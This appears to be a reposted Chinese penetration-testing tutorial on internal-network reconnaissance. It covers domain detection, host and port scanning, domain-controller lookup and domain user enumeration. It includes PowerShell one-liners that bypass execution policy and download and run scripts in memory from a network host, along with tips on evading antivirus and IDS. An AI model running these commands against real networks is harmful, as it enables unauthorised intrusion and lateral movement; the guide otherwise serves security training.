1.判断是否有域
ipconfig /all
systeminfo
net config workstation
net time /domain
判断主域,一般域服务器都会同时作为时间服务器
这里分为3中情况:
存在域,并且当前用户是域用户
不存在域,当前网络环境为工作组
存在域,但当前用户不是域用户
2.域内主机探测
(避免使用暴力扫描工具或图形化工具触发反病毒软件)
(可以在白天和晚上各探测一遍来分析主机的存活数量)nbtscan.exe
下载链接:nbtscan-1.0.35.exe
扫描结果
sharing:可能有打印共享服务
DC: 可能是域控制器
U=user:可能是登录名为user的用户
IIS:可能安装了IIS服务器
EXCHANEGE:可能安装了微软的exchange
?:未识别出该机器的NETBIOS资源,可使用-f继续扫描
利用icmp协议扫描
ping
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr “TTL=”
VBS
strSubNet = "192.168.33."
Set objFSO= CreateObject("Scripting.FileSystemObject")
Set objTS = objfso.CreateTextFile("C:Userstest1AppDataLocalTempres.txt")
For i = 1 To 254
strComputer = strSubNet & i
blnResult = Ping(strComputer)
If blnResult = True Then
objTS.WriteLine "Ping " & strComputer & " success!"
End If
Next
objTS.Close
WScript.Echo "Done!"
Function Ping(strComputer)
Set objWMIService = GetObject("winmgmts:\.rootcimv2")
Set colItems = objWMIService.ExecQuery("Select * From Win32_PingStatus Where Address='" & strComputer & "'")
For Each objItem In colItems
Select case objItem.StatusCode
Case 0
Ping = True
Case Else
Ping = False
End select
Exit For
Next
End Function
允许此脚本后会在%temp%路径下生成res.txt文件,里面会显示存活的主机名利用ARP扫描
arp-scan
github下载链接:arp-scan.exe(需要特定网络环境)
可见除了广播地址一共扫出来3个主机,而前面使用icmp只扫描出2个,这是因为有些有些系统默认是禁止ICMP的,所以使用多种方法更有效找到所有存活主机。
Nishang 中的 Invoke-ARPScan.ps1 脚本
github下载链接:Invoke-ARPScan.ps1(需要特定网络环境)
这里也有3中方式:
本地运行
powershell.exe -exec bypass -Command “& {Import-Module C:Userstest1DesktopInvoke-ARPScan.ps1; Invoke-ARPScan -CIDR 192.168.33.0/24}” >> C:Userstest1Desktoplog.txt
远程运行
powershell.exe -exec bypass -c "IEX{New-Object Net.WebClient}.DownloadString(‘脚本地址’);invoke-ARPScan-CIDR 192.168.1.1/24">>C:windowstemplog.txt:
-
无文件运行(没有运行文件,在内存中运行)
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.33.1/PowerSploit-master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.33.0/24 -T 4 -ports '445,1433,8080,3389,80' -oA c:windowstempres.txt"
利用TCP/UDP扫描探测
ScanLine
下载链接:ScanLine
sl.exe -h -t 22,80-89,110,389,445,3389,1099,1433,2049,6379,7001,8080,1521,3306,3389,5432 -u 53,161,137,139 -O C:Userstest1AppDataLocalTemplog.txt -p 192.168.33.1-254 /b
3.域内端口扫描
扫描注意是否会触发IDS
Powersploit的invoke-portscan.ps1脚本
github下载链接:invoke-portscan.ps1
powershell.exe -exec bypass -Command "& {Import-Module "C:Userstest1AppDataLocalTempInvoke-Portscan.ps1";Invoke-Portscan -Hosts 192.168.33.0/24 -T 4 -ports '445,1433,80,8080,3389' -oA c:ProgramDataip_info"}
执行结束后会生成一个ip_info.xml的文件会显示出扫描结果:命令格式:
powershell.exe -exec bypass -Command "& {Import-Module C:PowerView.ps1; powerview的命令参数}"
端口 Banner 信息
4.域内控制器的查找
nltest /dclist:yuaneuro.cnnslookup -type=SRV _ldap._tcp
net time /domain
net group "domain controllers" /domain
5.域内用户和管理员的获取
查询所有域用户列表
net user /domain
wmic useraccount get /all
net localgroup administrators /domaindsquery user
只能在DC上执行
查询域管理员用户组
net group "domain admins" /domainnet group "Enterprise admins" /domain
本文作者:yuaneuro, 转载请注明来自FreeBuf.COM
原文始发于微信公众号(白帽子程序员):内网渗透-内网信息收集
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论